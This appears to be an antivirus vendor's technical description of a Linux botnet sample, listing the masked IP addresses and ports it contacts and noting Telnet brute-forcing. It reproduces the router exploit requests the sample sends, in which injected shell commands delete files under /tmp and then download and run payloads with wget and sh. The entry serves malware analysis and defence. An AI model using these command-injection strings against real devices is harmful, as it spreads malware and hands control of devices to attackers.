Linux.Siggen.3510

Technical Information

Malicious functions:

Launches itself as a daemon

Network activity:

Establishes connection:

8.#.8.8:53
13#.##1.193.48:6969
18#.##8.249.21:8080
20#.##.182.92:8080
20#.###.209.212:8080
20#.##3.91.11:8080
20#.##.238.98:8080
20#.###.186.150:8080
10#.##.182.92:80
2.###.209.212:80
62.##3.91.11:80
5.###.249.21:80
18#.##.238.98:80
14#.##6.186.150:80
62.###.135.132:52869
27.##.11.182:52869
16#.###.209.212:52869
18#.##.246.186:52869
12#.###.21.153:52869
20.##.238.98:52869
12#.##.221.178:52869
80.###.143.147:52869
20#.##.151.72:52869
67.###.0.165:52869
20#.###.195.174:8080
21#.#.216.58:8080
19#.##.7.170:8080
18#.##7.178.37:8080
13#.###.216.234:8080
18#.##.182.179:8080
12#.###.223.163:8080
14#.###.248.113:8080
19#.##9.223.74:8080
11#.##.43.52:8080
20#.###.195.174:37215
21#.#.216.58:37215
19#.##.7.170:37215
18#.###.178.37:37215
13#.###.216.234:37215
17#.##1.238.75:7574
17#.##1.238.75:80
17#.##1.238.75:81
20#.##5.71.81:49152
20#.##5.71.81:8443
20#.##5.71.81:8080
11#.#.63.236:443
19#.#4.7.170:80
21#.#.216.58:80
18#.##7.178.37:80
20#.##6.195.174:80
14#.##3.248.113:80
18#.##.182.179:80
13#.##0.216.234:80
19#.##9.223.74:80
12#.##2.223.163:80
11#.#2.43.52:80
11#.#.63.236:80
11#.#.63.236:8001
17#.##1.238.75:5555
55.###.201.96:80
55.###.201.96:81
20.#.101.251:80
16#.##6.3.101:80
83.###.250.64:80
80.#.95.175:80
86.###.222.99:80
20#.##0.117.85:80
18#.##.205.240:80
21#.##0.223.55:80
20#.##1.82.12:80
17#.#.103.37:80
21#.#3.99.95:80
88.##6.3.101:80
11#.##1.250.64:80
95.#.95.175:80
12#.##.30.205:80
15#.##7.85.227:80
18#.###.221.122:55555
17#.##5.108.2:55555
98.##.176.73:55555
70.##.2.191:55555
18#.##.241.115:55555
76.###.122.185:8080
11#.#.63.236:8081
20#.##5.47.189:8080
18#.##8.79.242:8080
18#.##2.9.212:8080
18#.##.158.44:8080
18#.##.152.97:8080
18#.###.170.130:8080
92.###.47.189:80
11#.##8.79.242:80
2.###.9.212:80
21#.##5.170.130:80
17#.##.158.44:80
11#.##.152.97:80
69.##.58.38:52869
86.###.214.240:52869
10#.##6.56.85:52869
13#.##.177.176:52869
16#.#.127.113:52869
64.###.252.22:52869
33.##.232.78:52869
21#.###.158.123:52869
17#.##1.29.7:52869
18#.##.162.44:52869
69.##.58.38:8080
86.###.214.240:8080
10#.##6.56.85:8080
13#.##.177.176:8080
16#.#.127.113:8080
33.##.232.78:8080
64.###.252.22:8080
21#.###.158.123:8080
18#.##.162.44:8080
17#.##1.29.7:8080
62.###.200.22:37215
33.##.179.154:37215
12#.###.168.156:37215
1.###.194.169:37215
15#.##0.86.59:37215
33.##.179.154:7574
33.##.179.154:80
11#.#.63.236:8000
83.###.100.22:81
83.###.100.22:80
83.###.100.22:49152
55.###.201.96:9000
83.###.100.22:8443
69.###.241.226:8080
69.###.241.226:443
86.###.214.240:80
69.##.58.38:80
13#.##.177.176:80
33.##.232.78:80
16#.#.127.113:80
64.###.252.22:80
17#.#21.29.7:80
21#.##2.158.123:80
18#.##.162.44:80
69.###.241.226:80
21#.##.113.40:8001
33.##.179.154:5555
21#.##.113.40:80
11#.#.63.236:9000
22#.##4.146.165:81
22#.##4.146.165:80
22#.###.146.165:9000
22#.###.146.165:3702
22#.###.146.165:8081
22#.##4.146.165:88
22#.###.146.165:8080
22#.##4.146.165:82
22#.###.146.165:8000
22#.###.146.165:5000
22#.###.146.165:7000
22#.###.146.165:8181
16#.##2.254.146:80
20#.##.170.50:80
83.###.33.150:80
80.###.195.75:80
86.##9.7.212:80
18#.##3.163.202:80
17#.##6.44.121:80
55.###.201.96:3702
20#.##.70.174:80
21#.##2.179.163:80
21#.##0.185.138:80
88.###.195.230:80
11#.##.85.223:80
66.##.124.231:80
88.###.27.118:80
18#.###.195.230:55555
17#.##.85.223:55555
98.###.43.55:55555
12#.###.109.27:55555
70.###.59.124:55555
85.###.230.94:8080
21#.##.113.40:8081
18#.###.245.207:8080
20#.###.181.111:8080
20#.##.47.206:8080
20#.##.49.249:8080
18#.##7.89.145:8080
20#.##7.157.54:8080
42.###.181.111:80
17#.##1.245.207:80
21#.##.49.249:80
10#.##.47.206:80
42.###.89.145:80
17#.##7.157.54:80
13#.###.253.22:52869
64.###.208.52:52869
33.##.59.224:52869
65.###.238.133:52869
22#.##.12.34:52869
21.#.#23.56:52869
64.###.193.196:52869
25.###.115.134:52869
40.###.103.251:52869
17#.###.145.94:52869
33.##.59.224:8080
13#.##5.253.22:8080
64.###.208.52:8080
65.###.238.133:8080
22#.##.12.34:8080
21.#.#23.56:8080
64.###.193.196:8080
55.###.201.96:8081
25.###.115.134:8080
22#.#2.12.34:80
17#.##1.145.94:8080
40.###.103.251:8080
63.###.2.166:37215
14#.###.215.160:37215
88.###.171.141:37215
12#.##.14.96:37215
10#.##.70.1:37215
63.###.2.166:7574
63.##4.2.166:80
21#.##.113.40:8000
16#.#.232.183:81
16#.#.232.183:80
16#.#.232.183:49152
22#.##0.13.49:8443
22#.##0.13.49:8080
22#.##0.13.49:443
13#.##5.253.22:80
64.###.208.52:80
33.##.59.224:80
65.###.238.133:80
21.#.123.56:80
17#.##1.145.94:80
55.###.201.96:88
40.###.103.251:80
64.###.193.196:80
25.###.115.134:80
71.###.125.155:80
71.###.125.155:8001
63.###.2.166:5555
21#.##.113.40:9000
10#.##.104.151:81
10#.##.104.151:80
16#.##.36.104:80
80.###.113.103:80
83.###.159.229:80
20#.##7.218.149:80
86.###.167.193:80
18#.#3.34.10:80
17#.##.188.117:80
20#.##1.34.206:80
21#.##1.125.61:80
21#.##5.45.35:80
11#.##.133.225:80
88.###.188.12:80
13#.##2.47.250:80
21#.##8.157.129:80
95.###.202.94:80
18#.###.188.12:55555
17#.##.133.225:55555
98.###.202.94:55555
70.###.172.47:55555
37.###.218.157:55555
55.###.201.96:8080
19#.##8.12.93:8080
71.###.125.155:8081
18#.##.233.25:8080
20#.###.239.168:8080
20#.##.183.173:8080
18#.##5.186.3:8080
20#.##4.31.2:8080
18#.#.30.18:8080
14#.##4.239.168:80
5.##.233.25:80
11#.##.183.173:80
5.###.31.2:80
21#.##5.186.3:80
92.#.30.18:80
57.##.33.79:52869
14#.##.36.208:52869
18#.##1.2.231:52869
21#.###.26.147:52869
15#.##.218.216:52869
3.###.29.154:52869
50.###.31.194:52869
47.###.234.93:52869
17#.##.165.92:52869
68.###.69.79:52869
10#.##.104.151:9000
18#.##1.2.231:8080
21#.##3.26.147:8080
57.##.33.79:8080
14#.##.36.208:8080
15#.##.218.216:8080
3.###.29.154:8080
47.###.234.93:8080
68.###.69.79:8080
17#.##.165.92:8080
50.###.31.194:8080
10#.##.104.151:3702
23#.##.176.46:37215
10#.###.228.246:37215
16#.###.133.61:37215
14#.#.2.173:37215
28.##.122.8:37215
10#.##.104.151:8081
23#.##.176.46:7574
23#.##.176.46:5555
10#.##.104.151:88
23#.##.176.46:80
10#.##.104.151:8080
55.###.201.96:82
16#.##2.4.102:81
10#.##.104.151:82
16#.##2.4.102:80
71.###.125.155:8000
16#.##2.4.102:49152
16#.##2.4.102:8443
22#.##9.52.76:8080
10#.##.104.151:8000
22#.##9.52.76:443
18#.##1.2.231:80
21#.##3.26.147:80
10#.##.104.151:5000
15#.##.218.216:80
50.###.31.194:80
17#.##.165.92:80
68.##9.69.79:80
47.###.234.93:80
3.###.29.154:80
57.##.33.79:80
14#.##.36.208:80
22#.##9.52.76:80
10#.##.104.151:7000
21#.###.209.195:8001
21#.##7.209.195:80
10#.##.104.151:8181
55.###.201.96:8000
10#.#.223.47:81
71.###.125.155:9000
10#.#.223.47:80
16#.#2.5.223:80
83.##.160.212:80
80.##.202.6:80
20#.##.115.135:80
86.###.40.233:80
17#.#33.67.8:80
18#.##2.187.233:80
20#.##1.184.11:80
21#.##3.174.74:80
21#.##7.17.70:80
88.###.208.102:80
11#.##.99.160:80
95.###.182.177:80
11#.##9.161.207:80
13#.##5.108.210:80
18#.###.208.102:55555
70.###.219.161:55555
98.###.182.177:55555
17#.##.99.160:55555
52.###.135.108:55555
27.###.102.87:8080
21#.###.209.195:8081
20#.###.224.130:8080
20#.#.32.92:8080
20#.##.155.200:8080
20#.##6.156.95:8080
18#.##0.18.47:8080
20#.###.204.246:8080
31.#.32.92:80
10#.##8.224.130:80
92.###.156.95:80
78.##0.18.47:80
11#.##.155.200:80
10#.##9.204.246:80
55.###.201.96:5000
17#.##.149.229:52869
15#.###.12.238:52869
22#.##.234.191:52869
92.###.86.64:52869
12#.##.194.245:52869
20#.###.133.34:52869
13#.###.104.16:52869
11#.##.253.175:52869
3.###.111.62:52869
21#.###.163.226:52869
15#.##0.12.238:8080
92.###.86.64:8080
17#.##.149.229:8080
13#.##5.104.16:8080
22#.##.234.191:8080
12#.##.194.245:8080
20#.##3.133.34:8080
22#.##.234.191:80
11#.##.253.175:8080
12#.##.194.245:80
3.###.111.62:8080
21#.###.163.226:8080
21#.###.163.207:37215
19#.###.115.57:37215
7.###.46.59:37215
9.##.#15.39:37215
20#.##3.71.37:37215
21#.###.163.207:7574
21#.##7.163.207:80
58.###.236.168:81
21#.###.209.195:8000
58.###.236.168:80
58.###.236.168:49152
58.###.236.168:8443
55.###.201.96:7000
10#.#.223.47:9000
17#.###.141.200:8080
17#.##1.141.200:443
92.##9.86.64:80
15#.##0.12.238:80
17#.##.149.229:80
13#.##5.104.16:80
20#.##3.133.34:80
11#.##.253.175:80
21#.##3.163.226:80
3.###.111.62:80
17#.##1.141.200:80
17#.##0.86.17:8001
21#.###.163.207:5555
17#.##0.86.17:80
11#.##0.90.195:81
21#.###.209.195:9000
11#.##0.90.195:80
80.###.63.231:80
83.##5.75.77:80
20#.##7.248.48:80
16#.##4.110.90:80
18#.##.237.218:80
86.###.203.226:80
20#.##3.203.67:80
17#.##8.79.30:80
21#.##0.83.250:80
21#.#6.9.233:80
55.###.201.96:8181
88.###.182.199:80
10#.#.223.47:3702
11#.##6.51.68:80
95.###.81.184:80
48.###.106.170:80
25.###.29.165:80
17#.##6.51.68:55555
98.###.81.184:55555
22#.###.155.29:55555
70.###.114.106:55555
18#.###.182.199:55555
11#.###.199.216:8080
17#.##0.86.17:8081
20#.##5.45.24:8080
20#.##0.72.23:8080
20#.##.172.104:8080
20#.###.240.176:8080
20#.##9.75.101:8080
18#.##.183.185:8080
18#.##2.240.176:80
82.##5.45.24:80
18#.##.172.104:80
18#.##0.72.23:80
11#.##9.75.101:80
5.##.183.185:80
19#.##.167.64:52869
20#.#.78.102:52869
14.###.250.52:52869
20.##.221.52:52869
84.###.76.159:52869
16#.###.186.186:52869
25.###.211.143:52869
47.###.168.96:52869
59.###.67.249:52869
4.###.58.21:52869
19#.##.167.64:8080
14.###.250.52:8080
20.##.221.52:8080
20#.#.78.102:8080
84.###.76.159:8080
25.###.211.143:8080
47.###.168.96:8080
16#.###.186.186:8080
4.###.58.21:8080
59.###.67.249:8080
20#.#.78.102:80
20#.#.78.102:37215
20.##.221.52:37215
19#.##.167.64:37215
84.###.76.159:37215
14.###.250.52:37215
10#.#.223.47:8081
19#.##.137.81:7574
19#.##.137.81:80
19#.##.137.81:81
0.##.67.26:80
17#.##0.86.17:8000
0.##.#7.26:49152
0.##.67.26:8443
0.##.67.26:8080
11#.##0.90.195:9000
50.###.112.180:443
14.###.250.52:80
84.###.76.159:80
20.##.221.52:80
25.###.211.143:80
19#.##.167.64:80
16#.##5.186.186:80
47.###.168.96:80
59.###.67.249:80
4.###.58.21:80
50.###.112.180:80
50.###.112.180:8001
19#.##.137.81:5555
10#.#.223.47:88
80.##.132.20:80
80.##.132.20:81
22#.##6.111.109:80
17#.##0.86.17:9000
80.###.165.248:80
16#.##9.186.111:80
83.###.44.112:80
20#.##6.183.205:80
86.##.47.48:80
17#.##.126.29:80
18#.##3.8.174:80
20#.##4.251.139:80
21#.##4.100.125:80
21#.##3.97.73:80
95.###.165.248:80
11#.##9.44.112:80
88.###.186.111:80
20.###.205.72:80
21#.#8.103.8:80
11#.##0.90.195:3702
98.##.106.1:55555
17#.###.105.203:55555
18#.##.97.4:55555
70.###.4.13:55555
6.###.187.74:55555
98.##.4.222:8080
50.###.112.180:8081
18#.###.146.251:8080
18#.###.219.162:8080
18#.##0.233.62:8080
18#.##.225.42:8080
20#.##.68.192:8080
20#.##7.59.200:8080
10#.#.223.47:8080
19#.##0.219.162:80
78.###.233.62:80
89.###.146.251:80
21#.##.68.192:80
89.###.59.200:80
11#.##.225.42:80
29.###.146.251:52869
90.###.26.183:52869
17.##.100.233:52869
77.###.162.177:52869
57.###.57.68:52869
29.##.225.42:52869
84.###.211.155:52869
14#.##.99.28:52869
15#.##.123.203:52869
19#.###.211.17:52869
18#.##4.15.238:8080
18#.##8.50.30:8080
17#.##9.83.183:8080
16#.##.1.159:8080
42.###.209.171:8080
19#.##1.63.45:8080
18#.##.91.23:8080
20#.##4.249.0:8080
16#.##.157.18:8080
23#.##2.128.46:8080
23#.##2.128.46:80
16#.##.1.159:37215
17#.###.83.183:37215
18#.###.15.238:37215
18#.##8.50.30:37215
42.###.209.171:37215
18#.##8.50.30:7574
11#.##0.90.195:8081
10#.##.125.127:81
50.###.112.180:8000
95.##.116.212:49152
10#.#.223.47:82
95.##.116.212:8443
95.##.116.212:8080
80.##.132.20:9000
20#.##7.25.23:443
16#.#0.1.159:80
18#.##4.15.238:80
17#.##9.83.183:80
42.###.209.171:80
19#.##1.63.45:80
18#.#6.91.23:80
16#.##.157.18:80
20#.##4.249.0:80
20#.##7.25.23:80
20#.##7.25.23:8001
18#.##8.50.30:5555
11#.##0.90.195:88
10#.##7.236.0:80
10#.##7.236.0:81
50.###.112.180:9000
80.##.168.210:80
16#.##.243.24:80
20#.##1.175.4:80
83.###.120.159:80
10#.#.223.47:8000
18#.##1.117.177:80
86.###.214.129:80
17#.#.59.19:80
20#.##4.26.108:80
21#.##.102.84:80
21#.##5.148.100:80
11#.##3.120.159:80
10#.##5.4.231:80
95.##.168.210:80
88.##.243.24:80
78.###.161.117:80
80.##.132.20:3702
17#.###.120.159:55555
98.##.168.210:55555
70.###.175.4:55555
18#.##.243.24:55555
74.###.129.161:55555
72.##.66.53:8080
20#.##7.25.23:8081
20#.##.180.59:8080
20#.#.86.66:8080
18#.##3.68.187:8080
18#.#.133.175:8080
20#.##1.62.36:8080
18#.###.235.191:8080
11#.##0.90.195:8080
19#.##.160.86:80
92.###.217.109:80
31.##.0.190:80
89.##.3.180:80
84.###.198.248:80
21#.##5.111.70:80
28.##.148.45:52869
77.##.55.160:52869
58.###.217.109:52869
22#.###.172.198:52869
3.#.##0.66:52869
36.##.110.65:52869
16#.###.104.30:52869
19#.###.111.70:52869
97.#.#10.48:52869
25.###.81.39:52869
28.##.148.45:8080
58.###.217.109:8080
3.#.#80.66:8080
77.##.55.160:8080
22#.###.172.198:8080
16#.##8.104.30:8080
19#.##5.111.70:8080
36.##.110.65:8080
25.###.81.39:8080
97.#.#10.48:8080
10#.#.223.47:5000
97.##.196.252:37215
22#.##.225.112:37215
91.###.148.193:37215
12#.###.230.53:37215
17#.###.152.181:37215
97.##.196.252:7574
80.##.132.20:8081
97.##.196.252:80
16#.##9.136.225:81
16#.##9.136.225:80
20#.##7.25.23:8000
16#.###.136.225:49152
11#.##0.90.195:82
92.###.186.111:8443
92.###.186.111:8080
10#.##7.236.0:9000
92.###.186.111:443

Attacks using a special dictionary (brute-force technique) via the Telnet protocol.

HTTP GET requests:

http://###.###.##.########.#####################.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://(null)/netgear+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
http://##.###.##.55/index.php?s=/index/
:8###############;rm+-rf+*;wget+http://(null)/jaws;sh+/tmp/jaws
http://###.###.##.########.#####################.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://(null)/netgear+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

HTTP POST requests:

(n####:80/HNAP1/

Sends data to the following servers:

13#.##1.193.48:6969
13#.##5.238.143:23
51.###.38.247:9987

Receives data from the following servers:

13#.##1.193.48:6969

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations